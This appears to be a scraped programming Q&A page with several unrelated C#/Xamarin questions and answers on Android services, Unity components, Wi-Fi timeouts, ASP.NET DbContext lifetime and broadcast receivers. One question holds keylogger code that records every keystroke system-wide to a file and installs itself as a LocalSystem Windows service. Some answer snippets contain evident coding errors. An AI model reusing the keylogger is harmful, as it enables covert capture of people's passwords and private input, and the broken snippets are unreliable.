I have a step counter service. It works fine when the app is open. How do I make the service count the steps when the app is closed? When you close the application, the number of steps does not increase, this makes the application useless... I found information about "batching", but did not find a normal use case.
[Service(Exported = true, Enabled = true,
Label = "StepCounterService")]
public class StepCounterService : Service, ISensorEventListener
{
private SensorManager sManager;
private long currentStepsCount = 0;
private long overSteppers = 0;
private DateTime lastUpdateTime;
public event EventHandler<long> StepUpdated;
private long _steps = 0;
public long Steps
{
get
{
UpdateValue(_steps);
return _steps;
}
private set { _steps = value; }
}
public static StepCounterService Current { get; private set; }
public StepCounterService()
{
}
[return: GeneratedEnum]
public override StartCommandResult OnStartCommand(Intent intent, [GeneratedEnum] StartCommandFlags flags, int startId)
{
lastUpdateTime = AppPreferences.Get(nameof(lastUpdateTime), nameof(Class), new DateTime());
overSteppers = AppPreferences.Get(nameof(overSteppers), nameof(Class), 0L);
InitSensorService();
return StartCommandResult.Sticky;
}
public override void OnCreate()
{
base.OnCreate();
Current = this;
}
public void InitSensorService()
{
sManager = Android.App.Application.Context.GetSystemService(Context.SensorService) as SensorManager;
sManager.RegisterListener(this, sManager.GetDefaultSensor(SensorType.StepCounter), SensorDelay.Fastest);
}
public void OnAccuracyChanged(Sensor sensor, [GeneratedEnum] SensorStatus accuracy)
{
}
public void OnSensorChanged(SensorEvent e)
{
if (e.Values[0] == 0)
{
overSteppers = 0;
AppPreferences.Save(overSteppers, nameof(overSteppers), nameof(Class));
currentStepsCount = AppPreferences.Get(nameof(currentStepsCount), nameof(Class), 0L);
}
UpdateValue((long)e.Values[0]);
Steps = (long)e.Values[0] - overSteppers + currentStepsCount;
StepUpdated?.Invoke(this, Steps);
}
private void UpdateValue(long defaultValue)
{
if (DateTime.Now.Date > lastUpdateTime.Date)
{
lastUpdateTime = DateTime.Now;
overSteppers = defaultValue;
Steps = 0;
currentStepsCount = 0;
}
}
private void SaveData()
{
AppPreferences.Save(lastUpdateTime, nameof(lastUpdateTime), nameof(Class));
AppPreferences.Save(overSteppers, nameof(overSteppers), nameof(Class));
AppPreferences.Save(_steps, nameof(currentStepsCount), nameof(Class));
}
public void StopSensorService()
{
sManager.UnregisterListener(this);
sManager.Dispose();
SaveData();
}
public override void OnDestroy()
{
SaveData();
base.OnDestroy();
}
public override IBinder OnBind(Intent intent)
{
return null;
}
}
When I start the app, I start the service:
MyApp.Context.StartService(new Intent(MyApp.Context, typeof(StepCounterService)));
Related
When calling GetComponent() just after my program starts up, I find that the method sometimes does not return a component quickly enough to prevent a null reference exception when code later tries to access the component member variable. My question is - is there a way to wait for GetComponent to finish finding what it needs to? I know can wait using coroutines, but is there another way to do this with some kind of lambda callback or event?
public class GameManager : MonoBehaviour
{
public bool AutosaveEnabled = true;
public static GameManager Instance;
[HideInInspector] public InputManager InputManager;
[HideInInspector] public UIManager UIManager;
...
private void Awake()
{
Setup();
}
public void Setup()
{
if (Instance == null)
{
Instance = this;
}
else
{
throw new Exception();
}
UIManager = GetComponent<UIManager>();
...
UIManager.Setup();
...
}
public class UIManager : StateMachine, IUIManager
{
public static UIManager Instance;
public ITitleMenu TitleMenu;
public void Setup()
{
if (Instance == null)
{
Instance = this;
}
else
{
throw new Exception();
}
TitleMenu = GetComponentInChildren<ITitleMenu>();
}
private void SetupScene()
{
UIManager.Instance.ChangeState<TitleMenuState>();
}
...
}
public interface ITitleMenu : IMenu
{
void ExitGame();
void LoadTitleMenuScene();
void OnNewGameClick();
}
public interface IMenu
{
public void Setup(IUIManager uiManager);
public void SetActive(bool toggle);
int selectedIndex { get; set; }
int previouslySelectedIndex { get; set; }
TextMeshProUGUI[] Options { get; set; }
void OnControllerMoveDown();
void OnControllerMoveUp();
void OnControllerConfirm();
}
public class TitleMenu : MenuBase, ITitleMenu
{
private enum MenuElements { Continue, NewGame, Controls, VideoSettings, AudioSettings, ExitGame };
public void Setup(IUIManager uiManager)
{
this.uiManager = uiManager;
DataManager.Instance.SaveFileMetadata = GameManager.Instance.SaveFileManager.GetSaveFileMetadata();
if (DataManager.Instance.SaveFileMetadata.Count > 0)
{
Options[(int)MenuElements.Continue].transform.parent.gameObject.SetActive(true);
selectedIndex = (int)MenuElements.Continue;
}
else
{
Options[(int)MenuElements.Continue].transform.parent.gameObject.SetActive(false);
selectedIndex = (int)MenuElements.NewGame;
}
previouslySelectedIndex = selectedIndex;
}
...
}
public class StateMachine : MonoBehaviour, IStateMachine
{
public virtual State CurrentState
{
get
{
return _currentState;
}
set
{
if (_currentState == value)
{
return;
}
if (_currentState != null)
{
_currentState.Exit();
}
_currentState = value;
if (_currentState != null)
{
_currentState.Enter();
}
}
}
protected State _currentState;
public virtual T GetState<T>() where T : State
{
T target = GetComponent<T>();
if (target == null)
{
target = gameObject.AddComponent<T>();
target.Initialize();
}
return target;
}
}
...
public class TitleMenuState : UIState
{
protected override void OnMove(object sender, InfoEventArgs<Vector2> e)
{
if (e.info.y == 1)
{
owner.TitleMenu.OnControllerMoveUp();
}
else if (e.info.y == -1)
{
owner.TitleMenu.OnControllerMoveDown();
}
}
protected override void OnInteract(object sender, EventArgs e)
{
owner.TitleMenu.OnControllerConfirm();
}
public override void Enter()
{
owner.TitleMenu.SetActive(true);
owner.TitleMenu.Setup(owner);
EventManager.UIMoveEvent += OnMove;
EventManager.UISubmitEvent += OnInteract;
}
public override void Exit()
{
UIManager.Instance.TitleMenu.SetActive(false);
EventManager.UIMoveEvent -= OnMove;
EventManager.UISubmitEvent -= OnInteract;
}
}
public abstract class State : MonoBehaviour
{
public virtual void Enter()
{
}
public virtual void Exit()
{
}
public virtual void Initialize()
{
}
}
public abstract class UIState : State
{
protected UIManager owner;
public override void Initialize()
{
owner = UIManager.Instance;
}
protected virtual void OnInteract(object sender, EventArgs e)
{
}
protected virtual void OnCancel(object sender, EventArgs args)
{
}
public override void Enter()
{
}
public override void Exit()
{
}
protected virtual void OnMove(object sender, InfoEventArgs<Vector2> e)
{
}
public virtual bool IsStateOfType(UIStates state)
{
return false;
}
}
Right now the game crashes in TitleMenuState.Enter() where I'm calling owner.TitleMenu.SetActive() because TitleMenu is null.
Hierarchy:
At the time TitleMenu = GetComponentInChildren<ITitleMenu>(); is run in the UIManager component of the GameManager gameobject, the child gameobject TitleMenu is inactive, and that child is what has the ITitleMenu on it. And, from the documentation on GetComponentInChildren (emphasis mine):
Returns the component of Type type in the GameObject or any of its children using depth first search.
A component is returned only if it is found on an active GameObject.
So that will return null. This has nothing to do with failing to return "quickly enough".
A very simple workaround is to use GetComponentsInChildren, which has an optional includeInactive parameter that will allow for searching inactive objects. Using GetComponentsInChildren, with includeInactive as true should have the desired result, only needing to index the first element (since it returns an array):
public class UIManager : StateMachine, IUIManager
{
public static UIManager Instance;
public ITitleMenu TitleMenu;
public void Setup()
{
if (Instance == null)
{
Instance = this;
}
else
{
throw new Exception();
}
TitleMenu = GetComponentsInChildren<ITitleMenu>(true)[0];
}
You should call GetComponent() before using the component. You could also check out Script Execution order menu (Edit - Project Settings - Script Execution order)
I'm trying to develop a warning if I try to connect to a specific SSID and some waiting time has passed. I've tried with a Timer class but there is some issues with Task and Threads I can't resolve.
This is my Wifi class in Xamarin.Droid
public class Wifi : Iwifi
{
private Context context;
private static WifiManager _manager;
private MyReceiver _receiver;
public void Initialize()
{
context = Android.App.Application.Context;
_manager = (WifiManager)context.GetSystemService(Context.WifiService);
_receiver = new MyReceiver();
}
public void Register()
{
IntentFilter intents = new IntentFilter();
intents.AddAction(WifiManager.ScanResultAction);
intents.AddAction(WifiManager.NetworkStateChangedAction);
context.RegisterReceiver(_receiver, intents);
}
public void Unregister()
{
context.UnregisterReceiver(_receiver);
}
public void ScanWirelessDevices()
{
_manager.StartScan();
}
public string GetConnectionSSID()
{
return _manager.ConnectionInfo.SSID;
}
public void ConnectToSSID(string SSID, string pwd)
{
if (!_manager.IsWifiEnabled)
{
_manager.SetWifiEnabled(true);
}
WifiConfiguration wifiConfiguration = new WifiConfiguration();
wifiConfiguration.Ssid = '"' + SSID + '"';
if (pwd.Empty)
{
wifiConfiguration.AllowedKeyManagement.Set((int)KeyManagementType.None);
}
else
{
//Configuration for protected Network
}
var addNet = _manager.AddNetwork(wifiConfiguration);
if (addNet == -1)
{
_manager.Disconnect();
_manager.EnableNetwork(addNet, true);
_manager.Reconnect();
return;
}
var list = _manager.ConfiguredNetworks;
foreach (WifiConfiguration conf in list)
{
if (conf.Ssid.Equals('"' + SSID + '"'))
{
_manager.Disconnect();
_manager.EnableNetwork(conf.NetworkId, true);
_manager.Reconnect();
return;
}
}
}
public class MyReceiver : BroadcastReceiver
{
public override void OnReceive(Context context, Intent intent)
{
if (intent.Action.Equals(WifiManager.ScanResultAvailableAction))
{
IList<ScanResult> scanResult = _manager.ScanResult;
App.Networks.NetworksList.Clear();
foreach (ScanResult result in scanResult)
{
App.Networks.NetworksList.Add(result.Ssid);
}
}
}
}
}
Then this is a part of App class in Xamarin.Forms
public partial class App: Application
{
private static ...
.
.
.
private static string _selectedSSID;
private static MainDetail _pageDetail;
public static IWifi WifiManager { get; } = DependencyService.Get<Iwifi>();
public static string SelectedSSID { get { return _selectedSSID; } set { _selectedSSID = value; } }
public static MainDetail PageDetail { get { return _pageDetail; } }
public App()
{
InitializeComponent();
WifiManager.Initialize();
WifiManager.Register();
InitViews();
MainPage = _mainPage;
Connectivity.ConnectivityChanged += NetworkEvents;
NetSearch();
}
.
.
.
public void NetSearch()
{
Task.Run(async () =>
{
while (true)
{
WifiManager.ScanWirelessDevices();
await Task.Delay(Utility.SCAN_WIFI_TIMER); //waiting 31000 milliseconds because of Scanning throttling
}
});
}
public void NetworkEvents(object sender, ConnectivityChangedEventArgs e)
{
MainMaster master = (MainMaster)_mainPage.Master;
if (e.NetworkAccess == NetworkAccess.Unknown)
{
Debug.WriteLine("Network Access Unknown " + e.ToString());
}
if (e.NetworkAccess == NetworkAccess.None)
{
Debug.WriteLine("Network Access None " + e.ToString());
}
if (e.NetworkAccess == NetworkAccess.Local)
{
Debug.WriteLine("Network Access Local " + e.ToString());
}
if (e.NetworkAccess == NetworkAccess.Internet)
{
if(selectedSSID == Wifimanager.GetConnectionInfo())
{
//WE CONNECTED!!
//Now I want to stop the Timeout Timer to attempt
}
}
if (e.NetworkAccess == NetworkAccess.ConstrainedInternet)
{
Debug.WriteLine("Network Access Constrainde Internet " + e.ToString());
}
}
}
And part of Detail page class in which I start the event of connection and where I want to start also the timeout timer
public partial class MainDetail : ContentPage
{
.
.
.
public void OnItemListClicked(object sender, SelectedItemChangedEventArgs e)
{
if (e.SelectedItem == null)
{
return;
}
ImageCell item = (ImageCell)e.SelectedItem;
App.SelectedSSID = item.Text;
App.WifiManager.ConnectToSSID(item.Text, "");
ActivityIndicator(true);
//Now the timer should start.
//And call PageDetail.ActivityIndicator(false) and warning the user if the timeout go to 0.
listView.SelectedItem = null;
}
}
I tried with the Timers Timer class but doesn't work.. any suggestion?
Ok I figured a solution! Instead of using Thread and Task, I used Device.StartTimer.
In the event on the DetailPage I wrote:
public void OnItemListClicked(object sender, SelectedItemChangedEventArgs e)
{
if (e.SelectedItem == null)
{
return;
}
ImageCell item = (ImageCell)e.SelectedItem;
App.SelectedSSID = item.Text;
App.WifiManager.ConnectToSSID(item.Text, "");
ActivityIndicator(true);
Device.StartTimer(TimeSpan.FromSeconds(10), () => //Waiting 10 second then if we are not connected fire the event.
{
Device.BeginInvokeOnMainThread(() =>
{
if (App.IsLogout) //variable I use to check if I can do the logout or not
{
ActivityIndicator(false);
App.SelectedSSID = "";
//My message to users "Fail to connect"
}
});
return false;
});
listView.SelectedItem = null;
}
I wrote the following EXE File in C#:
namespace Service
{
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static void Main(string[] args)
{
StartLogging();
}
static void StartLogging()
{
while (true)
{
//sleeping for while, this will reduce load on cpu
Thread.Sleep(10);
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
using (StreamWriter outputFile = new StreamWriter("C:\\Output.txt", true))
{
outputFile.WriteLine((Keys)i);
}
break;
}
}
}
}
}
}
This program captures every keyboard event, no matter in which program. It works fine.
Then i tried to put this into a Windows Service and it doesn't work.
The following code is my Service:
namespace Dienst
{
public class Service : ServiceBase
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static void StartLogging()
{
while (true)
{
//sleeping for while, this will reduce load on cpu
Thread.Sleep(10);
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
using (StreamWriter outputFile = new StreamWriter("C:\\TestNeu.txt", true))
{
outputFile.WriteLine((Keys)i);
}
break;
}
}
}
}
static void Main()
{
Service.Run(new Service());
}
protected override void OnStart(string[] args)
{
base.OnStart(args);
StartLogging();
}
protected override void OnContinue()
{
base.OnContinue();
}
protected override void OnStop()
{
base.OnStop();
}
}
[RunInstaller(true)]
public class Installation : Installer
{
private ServiceInstaller service;
private ServiceProcessInstaller process;
public Installation()
{
service = new ServiceInstaller();
process = new ServiceProcessInstaller();
service.ServiceName = "Service1";
service.DisplayName = "Service1";
service.Description = "WindowsService";
process.Account = ServiceAccount.LocalSystem;
Installers.Add(process);
Installers.Add(service);
}
}
}
The result from GetAsyncKeyState(i) is always 0.
Can anyone help me? I don't know, because this code as Service doesn't work.
And no, I don't want write a keylogger, only if someone think this.
I have a problem with my asp.net application.
My application is supposed to webscrape a site once every day.
I'm trying to fire of a method with a timer and this method I'm trying to process needs my dbcontext to save the new data.
My method works fine if i run my application and go to the page that calls this method on request, but when the timer tries to use it my dbcontext is disposed.
My question is.. How do i configure my asp.net application so i can reuse my dbcontext in the background and not dependent to a request from a web browser?
Here is some code:
Startup.cs
public void ConfigureServices(IServiceCollection services)
{
services.AddDbContext<FundContext>(options =>
options.UseSqlServer(Configuration.GetConnectionString("FundContext")));
services.AddTransient<IFundDataService, FundDataService>();
services.AddMvc();
}
FundContext.cs
public class FundContext : DbContext, IFundContext
{
public FundContext(DbContextOptions<FundContext> options)
: base(options)
{
}
public DbSet<Fund> Funds { get; set; }
}
FundsModel.cshtml.cs
public class FundsModel : PageModel
{
private IFundDataService fundDataService;
public FundsModel(IFundDataService fundDataService)
{
this.fundDataService = fundDataService;
}
public void OnGet()
{
}
public List<Fund> TodaysFundList { get { return fundDataService.TodaysFundList; } }
public List<Fund> YesterdaysFundList { get { return fundDataService.YesterdaysFundList; } }
}
FundDataService.cs
public class FundDataService : Controller, IFundDataService
{
private FundContext fundContext;
private List<Fund> todaysFundList;
private List<Fund> yesterdaysFundList;
private static Timer timer;
public FundDataService(FundContext fundContext)
{
this.fundContext = fundContext;
GetFundFromWebAndSavetoDB();
PopulateFundLists();
InitializeTimer();
}
public List<Fund> TodaysFundList { get { return todaysFundList; } }
public List<Fund> YesterdaysFundList{ get { return yesterdaysFundList; } }
private void InitializeTimer()
{
DateTime timeNow = DateTime.Now;
DateTime scheduledTime = new DateTime(timeNow.Year, timeNow.Month, timeNow.Day, 00, 01, 00);
if(timeNow > scheduledTime)
{
scheduledTime = scheduledTime.AddDays(1);
}
double tickTime = 10000;/*(double)(scheduledTime - DateTime.Now).TotalMilliseconds;*/
timer = new Timer(tickTime);
timer.Elapsed += Timer_Elapsed;
timer.Start();
}
private void Timer_Elapsed(object sender, ElapsedEventArgs e)
{
timer.Stop();
GetFundFromWebAndSavetoDB();
PopulateFundLists();
InitializeTimer();
}
private void PopulateFundLists()
{
todaysFundList = new List<Fund>();
yesterdaysFundList = new List<Fund>();
foreach (var fund in fundContext.Funds)
{
if(fund.DateAddedToDB == DateTime.Now.Date)
{
todaysFundList.Add(new Fund
{
ID = fund.ID,
Name = fund.Name,
RateLastDay = fund.RateLastDay,
RateThisYear = fund.RateThisYear,
LastUpdate = fund.LastUpdate,
DateAddedToDB = fund.DateAddedToDB
});
}
if (fund.DateAddedToDB == DateTime.Now.Date.AddDays(-1))
{
yesterdaysFundList.Add(new Fund
{
ID = fund.ID,
Name = fund.Name,
RateLastDay = fund.RateLastDay,
RateThisYear = fund.RateThisYear,
LastUpdate = fund.LastUpdate,
DateAddedToDB = fund.DateAddedToDB
});
}
}
todaysFundList.Sort(delegate (Fund a, Fund b)
{
return b.RateThisYear.CompareTo(a.RateThisYear);
});
yesterdaysFundList.Sort(delegate (Fund a, Fund b)
{
return b.RateThisYear.CompareTo(a.RateThisYear);
});
}
private void GetFundFromWebAndSavetoDB()
{
var rawData = WebScrapingService.Instance.WebScrapeSiteAndReturnCollection(
"url"
, "//tbody/tr");
foreach (var fund in rawData)
{
decimal rateLastDay;
bool rateLastDayOK = decimal.TryParse(fund.ChildNodes[5].InnerText, out rateLastDay);
decimal rateThisYear;
bool rateThisYearOK = decimal.TryParse(fund.ChildNodes[11].InnerText, out rateThisYear);
var newFund = new Fund
{
Name = fund.ChildNodes[3].InnerText,
RateLastDay = rateLastDay,
RateThisYear = rateThisYear,
LastUpdate = Convert.ToDateTime(fund.ChildNodes[21].InnerText),
DateAddedToDB = DateTime.Now.Date
};
var NumberOfFundsAddedToday = (from x in fundContext.Funds where x.DateAddedToDB == DateTime.Now.Date select x).Count();
if(NumberOfFundsAddedToday < 5)
{
fundContext.Funds.Add(newFund);
fundContext.SaveChanges();
}
}
}
}
I think the best aproach is to instantiate the context each ellapsed time, inject the DbContextOptions<FundContext> instead of FundContext in the FundDataService constructor and do a using/new for better control:
private void Timer_Elapsed(object sender, ElapsedEventArgs e)
{
...
using(var context = new FundContext(_options)){
GetFundFromWebAndSavetoDB(context);
PopulateFundLists(context);
}
...
}
I have a problem with sending Location from service to custom BroadcastReceiver.
This is my BroadcastReceiver.cs
[BroadcastReceiver]
class MyBroadcastReceiver : BroadcastReceiver
{
public static readonly string GRID_STARTED = "GRID_STARTED";
public event EventHandler<OnLocationChangedEventArgs> mOnLocationChanged;
private Location location;
public override void OnReceive(Context context, Intent intent)
{
if (intent.Action == GRID_STARTED)
{
Toast.MakeText(context, "Grid Started", ToastLength.Short).Show();
//location = JsonConvert.DeserializeObject<Location>(intent.GetStringExtra("location"));
//mOnLocationChanged.Invoke(this, new OnLocationChangedEventArgs(location));
}
}
}
If I UNCOMMENT two lines in the upper code my app suddenly stops. I cannot tell you what is the error because, while developing Xamarin apps debugging is stopped by an internal error (I read about it on Xamarin Forums but couldn't find time to deal with it).
This is what I have done in service:
private void BroadcastStarted(Location location)
{
Intent BroadcastIntent = new Intent(this, typeof(MyBroadcastReceiver));
BroadcastIntent.PutExtra("location",JsonConvert.SerializeObject(location));
BroadcastIntent.SetAction(MyBroadcastReceiver.GRID_STARTED);
BroadcastIntent.AddCategory(Intent.CategoryDefault);
SendBroadcast(BroadcastIntent);
}
I'm using Newtonsoft.Json for sending an objet.
Any help would be appreciated.
UPDATE:
Ok, somehow I managed to reveal the error:
Unable to find a constructor to use for type
Android.Location.Location. A class should either have a default
constructor,one constructor with arguments or a constructor marked
with JsonConstructor attribute.
UPDATE:
Whole service code:
using Newtonsoft.Json;
namespace GoogleMaps
{
public class OnLocationChangedEventArgs
{
Location location;
public Location Location
{
get { return location; }
set { location = value; }
}
public OnLocationChangedEventArgs(Location location)
{
this.location = location;
}
}
[Service]
class MyService : Service
{
private LocationManager locationManager = null;
public MyService()
{
}
private class MyLocationListener : Java.Lang.Object,ILocationListener
{
Location mLastLocation;
public event EventHandler<OnLocationChangedEventArgs> onLoc;
public MyLocationListener(String provider)
{
mLastLocation = new Location(provider);
}
public void OnLocationChanged(Location location)
{
try
{
mLastLocation.Set(location);
onLoc.Invoke(this, new OnLocationChangedEventArgs(mLastLocation));
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
public void OnProviderDisabled(string provider)
{
}
public void OnProviderEnabled(string provider)
{
}
public void OnStatusChanged(string provider, [GeneratedEnum] Availability status, Bundle extras)
{
}
}
private MyLocationListener locationListener = new MyLocationListener("network");
public override IBinder OnBind(Intent intent)
{
return null;
}
private void BroadcastStarted(Location location)
{
Intent BroadcastIntent = new Intent(this, typeof(MyBroadcastReceiver));
BroadcastIntent.PutExtra("location",JsonConvert.SerializeObject(location));
BroadcastIntent.SetAction(MyBroadcastReceiver.GRID_STARTED);
BroadcastIntent.AddCategory(Intent.CategoryDefault);
SendBroadcast(BroadcastIntent);
}
[return: GeneratedEnum]
public override StartCommandResult OnStartCommand(Intent intent, [GeneratedEnum] StartCommandFlags flags, int startId)
{
return StartCommandResult.Sticky;
}
public override void OnCreate()
{
try
{
base.OnCreate();
InitializeLocationManager();
locationManager.RequestLocationUpdates(LocationManager.NetworkProvider, 0, 0, locationListener);
locationListener.onLoc += MyService_onLoc;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
private void MyService_onLoc(object sender, OnLocationChangedEventArgs e)
{
BroadcastStarted(e.Location);
}
public override void OnDestroy()
{
base.OnDestroy();
locationManager.RemoveUpdates(locationListener);
}
private void InitializeLocationManager()
{
if (locationManager == null)
{
locationManager = (LocationManager)GetSystemService(LocationService);
}
}
}
}
UPDATE:
This is what I told in 6th comment:
public override void OnReceive(Context context, Intent intent)
{
if (intent.Action == GRID_STARTED)
{
try
{
Toast.MakeText(context, "Grid Started", ToastLength.Short).Show();
a = new LatLng(intent.GetDoubleExtra("latitude",0),intent.GetDoubleExtra("longitude",0));
mOnLocationChanged.Invoke(this, new OnLatLngChangedEventArgs(a)); // NULL EXCEPTION LINE
}
catch (Exception ex)
{
Toast.MakeText(context, ex.Message, ToastLength.Short).Show();
}
}
}
Why is event handler mOnLocationChanged equal to null?
And service's part:
private void BroadcastStarted(Location location)
{
Intent BroadcastIntent = new Intent(this, typeof(MyBroadcastReceiver));
BroadcastIntent.PutExtra("latitude",location.Latitude);
BroadcastIntent.PutExtra("longitude", location.Longitude);
BroadcastIntent.SetAction(MyBroadcastReceiver.GRID_STARTED);
BroadcastIntent.AddCategory(Intent.CategoryDefault);
SendBroadcast(BroadcastIntent);
}
Send data (not object) from Service (using SendBroadcast) to BroadcastReceiver (in MainActivity):
Android-java Gist here. (100% working and tested code).
C# equivalent Service Class code:
(see import statements in a gist for required namespaces/classes)
[Service]
public class BackgroundService : Service
{
private static LocationReceiver mTickReceiver;
public BackgroundService()
{
}
public override IBinder OnBind(Intent arg0)
{
return null;
}
public override StartCommandResult OnStartCommand (Android.Content.Intent intent, StartCommandFlags flags, int startId)
{
return StartCommandResult.Sticky;
}
public override void OnCreate()
{
registerReceiver();
}
public override void OnDestroy()
{
UnregisterReceiver(mTickReceiver);
mTickReceiver = null;
}
private void registerReceiver()
{
mTickReceiver = new LocationReceiver();
IntentFilter filter = new IntentFilter(Android.Content.Intent.ActionTimeTick); // this will broadcast Intent every minute
RegisterReceiver(mTickReceiver, filter);
}
// you can write this class in separate cs file
[BroadcastReceiver(Enabled = true)]
[IntentFilter(new[] { Android.Content.Intent.ActionTimeTick })]
public class LocationReceiver : BroadcastReceiver
{
public override void OnReceive(Context context, Intent intent)
{
// sample data, you should get your location here,
// one way is to implement location logic in this class
double SampleLatitude=52.01566;
double SampleLongitude=65.00487;
// assuming above coordinates are from some location manager code
Intent I = new Intent();
i.SetAction("LocationData");
i.PutExtra("Latitude", SampleLatitude);
i.PutExtra("Longitude", SampleLongitude);
// PREPARE BROADCAST FOR MAINACTIVITY
SendBroadcast(i); // this broadcast will be received by mainactivity
}
}
}
C# equivalent MainActivity Class code:
(see import statements in a gist for required namespaces/classes)
public class MainActivity : AppCompatActivity
{
protected override Void OnCreate(Bundle savedInstanceState)
{
base.OnCreate(savedInstanceState);
SetContentView(R.layout.activity_main);
Intent i = new Intent(this, typeof(BackgroundService));
StartService(i);
IntentFilter filter = new IntentFilter("LocationData");
RegisterReceiver(new MyBroadcastReceiver(), filter);
}
// public static variables of MainActivty can be accessed and manipulated in this class
[BroadcastReceiver(Enabled = true)]
[IntentFilter(new[] { "LocationData" })]
class MyBroadcastReceiver : BroadcastReceiver
{
public override Void OnReceive(Context context, Intent intent)
{
// GET BROADCAST FROM RECEIVER IN THE BACKGROUND SERVICE CLASS
if (intent.GetAction() == "LocationData")
{
double lat=intent.GetDoubleExtra("Latitude", 0);
double lng=intent.GetDoubleExtra("Longitude", 1);
String LocationDataFromService=lat+","+lng;
// REPLACE this with console.writeline
Log.d("LocationDataFromService",LocationDataFromService);
}
}
}
}
In AndroidManifest.xml declare the service as:
<service android:name=".BackgroundService">
</service>
It may still throw some errors. Hope this helps.
You can also implement interface in MyBroadcastReceiver.cs.I think its easier way.
Here is the code:
MyBroadcastReceiver.cs
[BroadcastReceiver]
class MyBroadcastReceiver : BroadcastReceiver
{
public interface LocationDataInterface
{
void OnLocationChanged(LatLng point);
}
public static readonly string GRID_STARTED = "GRID_STARTED";
private LocationDataInterface mInterface;
private LatLng a;
public override void OnReceive(Context context, Intent intent)
{
if (intent.Action == GRID_STARTED)
{
try
{
// data you got from background service
a = new LatLng(intent.GetDoubleExtra("latitude",0), intent.GetDoubleExtra("longitude",0));
mInterface = (LocationDataInterface)context;
mInterface.OnLocationChanged(a);
}
catch (Exception ex)
{
Toast.MakeText(context, ex.Message, ToastLength.Short).Show();
}
}
}
}
MainActivity.cs
public class MainActivity : Activity, MyBroadcastReceiver.LocationDataInterface
{
...
public void OnLocationChanged(LatLng point)
{
// textview where you want to show location data
locationText.Text += point.Latitude + "," + point.Longitude;
// things that you want to do with location point
}
}
If there are some problems with this approach, feel free to comment it.